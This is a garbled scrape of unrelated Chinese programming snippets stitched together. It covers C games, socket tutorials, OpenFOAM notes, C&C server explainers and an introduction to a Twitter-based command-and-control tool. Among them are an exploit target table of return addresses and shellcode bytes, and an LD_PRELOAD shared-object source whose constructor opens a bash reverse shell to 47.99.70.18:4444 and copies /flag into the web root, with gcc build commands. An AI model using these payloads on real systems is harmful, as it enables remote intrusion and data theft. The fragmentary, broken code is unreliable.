* @capacity max buffer size of the ringbuffer
#include <stdio.h> #include <stdlib.h> #include <time.h> // 来自公众号:c语言与cpp编程 /*迷宫的数组*/ int maze[100]
2核2G云服务器 每月9.33元起,个人开发者专属3年机 低至2.3折
工具介绍 目前,最著名的一款利用Twitter当作命令控制工具的就是Twittor了,这款工具由Paul Amar开发,而这款工具的开发灵感来自于Gcat(该工具使用Gmail作为命令控制服务器)。 这里唯一的限制条件就是,植入程序以及C2服务器都需要用户的参与以及访问令牌,而这两者都可以使用Twitter应用程序管理来生成。 当一个新的Twitter应用被创建之后,这些值都会自动生成。
. */ /** *endpoint 表示UDP服务器套接字。 *作为一个服务器,它是轻量级的ICE。 */ 在创建 Endpoint 对象时,会调用它的构造函数。 this.fingerprint = Native.MediaServer.GetFingerprint().toString(); } 通过上面的代码可以看到 Endpoint 包括以下几个成员: ip : STUN 服务器
targets[] = { // { “os”, go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr }, { “wXP SP1 all”, 0x77C0BF21 ,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE, 0x9E,0xDE,0x49,0x47,0x8C, 0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB, ,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE, 0x9E,0xDE,0x49,0x47,0x8C, 0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE, 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,
大家经常在看恶意软件分析的文章或者关于僵尸网络的报道时经常会看到有关 C&C 服务器的字眼,但是这个 C&C 服务器是什么呢?今天的主题就是带领大家轻松理解什么是 C&C 服务器。 C&C 服务器的全称是 Command and Control Server,翻译过来就是命令和控制服务器,那么他有什么用呢? ,发送你要执行的命令,在远程服务器接收到命令之后执行并将结果返回给你,这时你的本机电脑就是一个简易的 C&C 服务器,如图简单的解释上面的过程: ? 以上的整个过程就是一个简易 C&C 服务器的进化史,通常我们在网络上看到的文章说 C&C 服务器的 IP 地址或者域名,这里的 C&C 服务器说的就是上面的中转服务器,为什么是中转服务器而不是本地主机呢 那是因为中转服务器是恶意软件和僵尸网络的直连服务器,是最直接接触的服务器,通常在恶意软件分析或者僵尸网络分析的时候首先分析出来的,所有控制者发送的指令都是经过中转服务器发送到目标服务器的,今天就说到这里吧
-debugger commands -commands 调试C源码 : 直接打开c文件 菜单:symble file path ->浏览到(或直接填写,用;隔开)编译好.sys的那个目录,里面有个.pdb其实就是symble了。 还要说一下,wdk里有大量源码可供参考。
c#include <stdio.h> #include <malloc.h> #include <stdlib.h> #include <string.h> #include <conio.h> /*字符操作函数*/ #include <ctype.h> #define BUFFSIZE 32 #define COL 128 #define ROW 64 // 来自公众号:c语言与cpp编程 printf(" Please input the express:\n"); /*输入字符串压回车键*/ scanf("%s%c" \n"); scanf("%c",&ch); if(ch=='n'||ch=='N') break; } return
今天笔者为大家展示C语言写的贪吃蛇游戏,让大家玩一玩自己写的游戏~ 是纯C语言哦~VC6.0开发 无问题 首先,开始界面: ? 游戏界面如下: ? 部分代码截图如下: 笔者VC6.0下编写,测试无问题,可复制代码直接到VC6源文件下,后缀为.c文件 可以编译通过运行~ ? 详细代码请访问C语言网 http://www.clang.cc/news/project/2015/0611/93.html
加载头文件*/ #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #include <stdlib.h> // 来自公众号:c语言与 if ((socketMul = WSASocket(AF_INET, SOCK_DGRAM, 0, NULL, 0, WSA_FLAG_MULTIPOINT_C_LEAF
#include <graphics.h> #include <conio.h> #include <time.h> // 来自公众号:c语言与cpp编程 // 欢迎界面 void welcome( outtextxy(100, 280, "功能并不很完善,比如生命数、分数等都没有写"); outtextxy(100, 320, "感兴趣的自己加进去吧"); // 实现闪烁的“按任意键继续” int c= kbhit()) { setcolor(RGB(c, 0, 0)); outtextxy(280, 400, "按任意键继续"); c -= 8; if (c < 0) c = 255
include <conio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dos.h> /*公众号:C语言与 CPP编程回复“源码”,获取30个源码项目*/ #define HEADER1 " -------------------------------BOOK TICKET---------------- (y/n)\n"); getchar(); scanf("%c",&ch); if(ch=='y'||ch=='Y') \n"); scanf("%c",&ch1); if(ch1=='y'||ch1=='Y') {
openFoam源码中涉及到的c++思想有很多,因为在计算流体力学中,域的创建尤为重要,我们可以在域中存储我们想要的物理变量如速度、压力等等。 首先:有一个宏观上的思维,我们用的大多数域对应的C++类是GeometricField,这个类里面包含了很多信息,但他的Base类其实是Field这个类,可以用下图来表示这个关系: ? 分析 当然,一切要从代码看起: 首先看Field基类,找到Filed的.C和.H头文件开始分析: 该类都是在Foam这个大的命名空间底下,下面定义了很多模板类。 下面再看这个Filed类模板里面的一些难以理解的C++代码。 Field<Type>>(); } 下来定义了一些该类的构造器,其中比较有意思的是: explicit Field(const label); 这里explict的解释我总结如下: C+
0x4b00 #define RIGHT 0x4d00 #define UP 0x4800 #define DOWN 0x5000 #define ESC 0x011b #define ENTER 0x1c0b // 来自公众号:c语言与cpp编程 /*2墙壁,1可以移动地方,3自己,4敌人*/ int a[15][20]={2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,
#include <iostream> #include <string> #include <fstream> #include <stdexcept> #i...
常用的so文件c源码 exp.c #include <stdlib.h> #include <string.h> __attribute__ ((constructor)) void call () { unsetenv("LD_PRELOAD"); char str[65536]; system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18 /4444 <&1'"); system("cat /flag > /var/www/html/flag"); } gcc exp.c -fPIC -shared -o exp.so iconv.c -shared -fPIC -o iconv.so hack.c #include <stdlib.h> #include <string.h> int main(){ system("bash return 0; } gcc hack.c -o hack.so
该页面程序修改自adolfintel 的 speedtest 项目适用于IDC服务商服务器或者自己的VPS自建 speedtest,供客户端对服务器进行网络测试,程序轻便5KB。 4.原版Github:https://github.com/adolfintel/speedtest 5.仅用于当前用户对服务器连接测试 常见问题: 1、获取IP不真实 > 2、测速失败,全部Fail 服务器并发不够 域名加入cdn了,访问量大就被拦截了 服务器安全防护软件限制 预览 ?
---- 相关视频——C/C++技术教学:web 网络服务器开发! 纯C语言手写web服务器,仅需 80 行代码,制作出你的专属服务器_哔哩哔哩 (゜-゜)つロ 干杯~-bilibili ---- 端口 什么是端口? 物理端口:电脑网口、USB、看的见的接口。 Tcp服务器 如同接电话的过程一样,在程序中,如果想要完成一个tcp服务器的功能,需要的流程如下: socket创建一个套接字 bind绑定ip和port listen使套接字变为可以被动链接 accept
监听udp数据的到来server.on('message', (msg, rinfo) => { // 处理数据});// 绑定端口 server.bind(41234); 我们看到创建一个udp服务器很简单 +模块,我们看看该c++模块的定义。 +层通用逻辑中我们讲过相关的知识,这里就不详细讲述了,当我们在js层new UDP的时候,会新建一个c++对象。 我们看一下c++层的bind。 +层,然后c++层回调到js层,最后触发message事件,这就是对应开始那段代码的message事件。
来源:http://www.cnblogs.com/polk6/p/6052908.html 介绍C#如何对ini文件进行读写操作,C#可以通过调用【kernel32.dll】文件中的 WritePrivateProfileString 源码下载:展示运行图及源码下载 1. ini文件介绍 ini文件常用于存储各类应用的配置信息,而内部的文件结构主要包括三个概念:section、key和value。 GetPrivateProfileString()函数 :读取操作 C#可以通过调用【kernel32.dll】文件中的 GetPrivateProfileString()函数对ini文件进行读取操作。 WritePrivateProfileString()函数:写入操作 C#可以通过调用【kernel32.dll】文件中的 WritePrivateProfileString()函数对ini文件进行写入操作 源码下载 4.1 运行图 ?
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